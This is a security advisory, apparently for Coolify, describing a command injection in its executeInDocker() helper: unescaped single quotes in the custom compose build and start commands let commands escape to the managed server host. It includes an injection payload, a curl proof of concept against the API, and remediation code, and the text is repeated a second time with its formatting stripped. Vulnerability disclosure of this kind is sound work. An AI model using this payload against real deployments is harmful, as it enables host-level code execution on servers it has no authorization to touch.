Summary
The executeInDocker() helper wraps commands in bash -c '{$command}' without escaping single quotes. User-controlled docker_compose_custom_build_command and docker_compose_custom_start_command fields are interpolated directly, allowing a single quote to break out of the bash -c argument and execute commands on the managed server host (outside the intended Docker container context).
The codebase demonstrates awareness of this issue — build_args_string and post_deployment_command are escaped with str_replace("'", "'\\''", ...) — but the custom compose command fields are not.
Severity
Medium (CVSS 3.1: 6.6)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:L
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: High (requires
api.ability:write and application update authorization)
- User Interaction: None
- Scope: Changed (escapes from Docker container to managed server host)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: Low
Severity Rationale
The CVSS is lower than the report's initial "High" claim because:
- The attacker requires write-scoped API access AND application update authorization (
$this->authorize('update', $application) at ApplicationsController.php:2463)
- Users with application deployment access already have significant server control (can deploy arbitrary Dockerfiles, compose files, and Docker images)
- The builder container already has Docker socket access for
docker compose build, so the container boundary is already thin
- The escape is to the managed server host, not the Coolify control plane
Affected Component
bootstrap/helpers/docker.php — executeInDocker() (line 140)
app/Jobs/ApplicationDeploymentJob.php — lines 706, 772, 799 (custom compose commands passed unescaped)
CWE
- CWE-78: Improper Neutralization of Special Elements used in an OS Command
Description
The Vulnerable Helper
// bootstrap/helpers/docker.php:140-144
function executeInDocker(string $containerId, string $command)
{
return "docker exec {$containerId} bash -c '{$command}'";
// No escaping of single quotes in $command
}
Inconsistent Escaping
The codebase escapes single quotes for executeInDocker() in some code paths but not others:
| Field |
Escaped |
Location |
build_args_string |
Yes (str_replace("'", "'\\''", ...)) |
ApplicationDeploymentJob.php:693, 725 |
post_deployment_command |
Yes (str_replace("'", "'\''", ...)) |
ApplicationDeploymentJob.php:3923 |
docker_compose_custom_build_command |
No |
ApplicationDeploymentJob.php:706 |
docker_compose_custom_start_command |
No |
ApplicationDeploymentJob.php:772, 799 |
Comments at lines 692 and 724 explicitly state: // Escape single quotes for bash -c context used by executeInDocker — proving the developers understand the risk but failed to apply the defense consistently.
Unescaped Code Paths
// Line 676-706 — build command (no escaping)
if ($this->docker_compose_custom_build_command) {
$build_command = injectDockerComposeFlags(
$this->docker_compose_custom_build_command, ...
);
// ... no str_replace("'", ...) here ...
$this->execute_remote_command(
[executeInDocker($this->deployment_uuid, "cd {$this->basedir} && {$build_command}"), ...],
);
}
// Line 762-772 — start command (no escaping)
if ($this->docker_compose_custom_start_command) {
$start_command = injectDockerComposeFlags(
$this->docker_compose_custom_start_command, ...
);
// ... no str_replace("'", ...) here ...
$this->execute_remote_command(
[executeInDocker($this->deployment_uuid, "cd {$this->workdir} && {$start_command}"), ...],
);
}
Input Validation
No model-level accessor or mutator exists for docker_compose_custom_build_command or docker_compose_custom_start_command on the Application model. The API validates them only as 'string|nullable' (ApplicationsController.php:2478-2479).
Execution Chain
- User sets
docker_compose_custom_build_command to docker compose build'; id > /tmp/escape; #
executeInDocker() returns: docker exec UUID bash -c 'cd /dir && docker compose build'; id > /tmp/escape; #'
- This is wrapped in an SSH heredoc by
generateSshCommand() and sent to the managed server
- The remote
bash -se processes the heredoc line-by-line, interpreting the single-quote breakout
id > /tmp/escape executes on the managed server host, outside the Docker container
Proof of Concept
BASE_URL='https://<coolify-host>'
TOKEN='<api_token_with_write_scope>'
APP_UUID='<docker_compose_application_uuid>'
# 1) Set a malicious custom build command
curl -sS -X PATCH "$BASE_URL/api/v1/applications/$APP_UUID" \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
--data-binary '{
"docker_compose_custom_build_command": "docker compose build'\''; id > /tmp/container_escape; #"
}'
# 2) Trigger a deployment
curl -sS -X POST "$BASE_URL/api/v1/applications/$APP_UUID/start" \
-H "Authorization: Bearer $TOKEN"
# On the managed server:
# cat /tmp/container_escape
# uid=0(root) gid=0(root) groups=0(root)
# (file written by the server host, not inside any container)
Impact
- Container boundary violation: Custom compose commands intended to run inside the builder container can execute on the managed server host
- Inconsistent security posture: The escaping gap creates a false sense of security — some fields are protected while structurally identical fields are not
- Host-level access: While the user already has significant server access through deployments, this bypasses any container isolation the builder provides
Recommended Remediation
Option 1: Fix executeInDocker() (preferred)
Escape single quotes at the source so all callers are protected:
function executeInDocker(string $containerId, string $command)
{
$escaped = str_replace("'", "'\\''", $command);
return "docker exec {$containerId} bash -c '{$escaped}'";
}
This is the correct fix because it protects all ~60+ call sites, not just the two custom compose commands.
Note: After this fix, the manual escaping at lines 693, 725, and 3923 should be removed to avoid double-escaping.
Option 2: Escape at the call sites
Apply the same escaping already used for build_args_string:
$build_command = str_replace("'", "'\\''", $build_command);
$start_command = str_replace("'", "'\\''", $start_command);
This is less robust (easy to miss future call sites) but matches the existing pattern.
Credit
This vulnerability was discovered and reported by bugbunny.ai.
Summary
The
executeInDocker()helper wraps commands inbash -c '{$command}'without escaping single quotes. User-controlleddocker_compose_custom_build_commandanddocker_compose_custom_start_commandfields are interpolated directly, allowing a single quote to break out of thebash -cargument and execute commands on the managed server host (outside the intended Docker container context).The codebase demonstrates awareness of this issue —
build_args_stringandpost_deployment_commandare escaped withstr_replace("'", "'\\''", ...)— but the custom compose command fields are not.Severity
Medium (CVSS 3.1: 6.6)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:Lapi.ability:writeand application update authorization)Severity Rationale
The CVSS is lower than the report's initial "High" claim because:
$this->authorize('update', $application)atApplicationsController.php:2463)docker compose build, so the container boundary is already thinAffected Component
bootstrap/helpers/docker.php—executeInDocker()(line 140)app/Jobs/ApplicationDeploymentJob.php— lines 706, 772, 799 (custom compose commands passed unescaped)CWE
Description
The Vulnerable Helper
Inconsistent Escaping
The codebase escapes single quotes for
executeInDocker()in some code paths but not others:build_args_stringstr_replace("'", "'\\''", ...))ApplicationDeploymentJob.php:693, 725post_deployment_commandstr_replace("'", "'\''", ...))ApplicationDeploymentJob.php:3923docker_compose_custom_build_commandApplicationDeploymentJob.php:706docker_compose_custom_start_commandApplicationDeploymentJob.php:772, 799Comments at lines 692 and 724 explicitly state:
// Escape single quotes for bash -c context used by executeInDocker— proving the developers understand the risk but failed to apply the defense consistently.Unescaped Code Paths
Input Validation
No model-level accessor or mutator exists for
docker_compose_custom_build_commandordocker_compose_custom_start_commandon the Application model. The API validates them only as'string|nullable'(ApplicationsController.php:2478-2479).Execution Chain
docker_compose_custom_build_commandtodocker compose build'; id > /tmp/escape; #executeInDocker()returns:docker exec UUID bash -c 'cd /dir && docker compose build'; id > /tmp/escape; #'generateSshCommand()and sent to the managed serverbash -seprocesses the heredoc line-by-line, interpreting the single-quote breakoutid > /tmp/escapeexecutes on the managed server host, outside the Docker containerProof of Concept
Impact
Recommended Remediation
Option 1: Fix
executeInDocker()(preferred)Escape single quotes at the source so all callers are protected:
This is the correct fix because it protects all ~60+ call sites, not just the two custom compose commands.
Note: After this fix, the manual escaping at lines 693, 725, and 3923 should be removed to avoid double-escaping.
Option 2: Escape at the call sites
Apply the same escaping already used for
build_args_string:This is less robust (easy to miss future call sites) but matches the existing pattern.
Credit
This vulnerability was discovered and reported by bugbunny.ai.